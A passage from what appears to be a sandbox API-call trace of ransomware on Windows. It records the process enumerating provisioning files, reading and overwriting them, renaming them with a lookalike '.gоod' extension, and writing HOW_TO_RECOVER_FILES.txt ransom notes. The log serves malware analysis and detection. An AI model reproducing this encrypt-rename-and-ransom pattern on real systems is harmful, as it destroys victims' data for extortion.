lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0114.852] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0114.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0114.853] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x40accccf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0114.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0114.853] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml.gоod")) returned 1 [0114.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0114.854] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov", lpFilePart=0x0) returned 0x51 [0114.854] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0114.854] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.854] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0114.854] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0114.854] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.854] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0114.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0114.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0114.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0114.855] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov", lpFilePart=0x0) returned 0x51 [0114.855] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0114.855] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.855] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0114.855] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0114.855] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0114.855] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0114.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0114.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0114.856] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0114.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0114.856] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x3520900 | out: lpFileInformation=0x3520900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc)) returned 1 [0114.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0114.856] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0114.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0114.856] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0114.856] GetFileType (hFile=0x6e4) returned 0x1 [0114.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0114.856] GetFileType (hFile=0x6e4) returned 0x1 [0114.856] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1fced8d8 | out: lpFileSizeHigh=0x1fced8d8*=0x0) returned 0x1cc [0114.856] ReadFile (in: hFile=0x6e4, lpBuffer=0x3520dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced808, lpOverlapped=0x0 | out: lpBuffer=0x3520dc8*, lpNumberOfBytesRead=0x1fced808*=0x1cc, lpOverlapped=0x0) returned 1 [0114.857] CloseHandle (hObject=0x6e4) returned 1 [0114.895] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0114.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0114.896] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0114.896] GetFileType (hFile=0x6e4) returned 0x1 [0114.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0114.897] GetFileType (hFile=0x6e4) returned 0x1 [0114.897] WriteFile (in: hFile=0x6e4, lpBuffer=0x3599b48*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x1fced718, lpOverlapped=0x0 | out: lpBuffer=0x3599b48*, lpNumberOfBytesWritten=0x1fced718*=0x1d0, lpOverlapped=0x0) returned 1 [0114.897] CloseHandle (hObject=0x6e4) returned 1 [0114.897] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0114.898] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0114.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0114.898] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x40b1926d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0114.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0114.898] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml.gоod")) returned 1 [0114.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0114.898] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0114.899] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0114.899] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.306] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0115.306] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.306] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0115.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0115.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0115.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0115.306] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0115.306] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0115.306] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.306] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0115.307] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0115.307] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0115.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0115.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0115.307] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcecaf0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0115.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced010) returned 1 [0115.307] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0115.308] GetFileType (hFile=0x6e4) returned 0x1 [0115.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecf80) returned 1 [0115.308] GetFileType (hFile=0x6e4) returned 0x1 [0115.308] WriteFile (in: hFile=0x6e4, lpBuffer=0x3616d58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fced0d8, lpOverlapped=0x0 | out: lpBuffer=0x3616d58*, lpNumberOfBytesWritten=0x1fced0d8*=0x5d0, lpOverlapped=0x0) returned 1 [0115.309] CloseHandle (hObject=0x6e4) returned 1 [0115.309] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fced520, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0115.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0115.310] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0115.310] GetFileType (hFile=0x6e4) returned 0x1 [0115.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9b0) returned 1 [0115.310] GetFileType (hFile=0x6e4) returned 0x1 [0115.311] WriteFile (in: hFile=0x6e4, lpBuffer=0x361a650*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcedb08, lpOverlapped=0x0 | out: lpBuffer=0x361a650*, lpNumberOfBytesWritten=0x1fcedb08*=0x5d0, lpOverlapped=0x0) returned 1 [0115.311] CloseHandle (hObject=0x6e4) returned 1 [0115.312] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcedf50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0115.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee470) returned 1 [0115.312] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0115.313] GetFileType (hFile=0x6e4) returned 0x1 [0115.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee3e0) returned 1 [0115.313] GetFileType (hFile=0x6e4) returned 0x1 [0115.314] WriteFile (in: hFile=0x6e4, lpBuffer=0x361df38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcee538, lpOverlapped=0x0 | out: lpBuffer=0x361df38*, lpNumberOfBytesWritten=0x1fcee538*=0x5d0, lpOverlapped=0x0) returned 1 [0115.315] CloseHandle (hObject=0x6e4) returned 1 [0115.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0115.315] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, 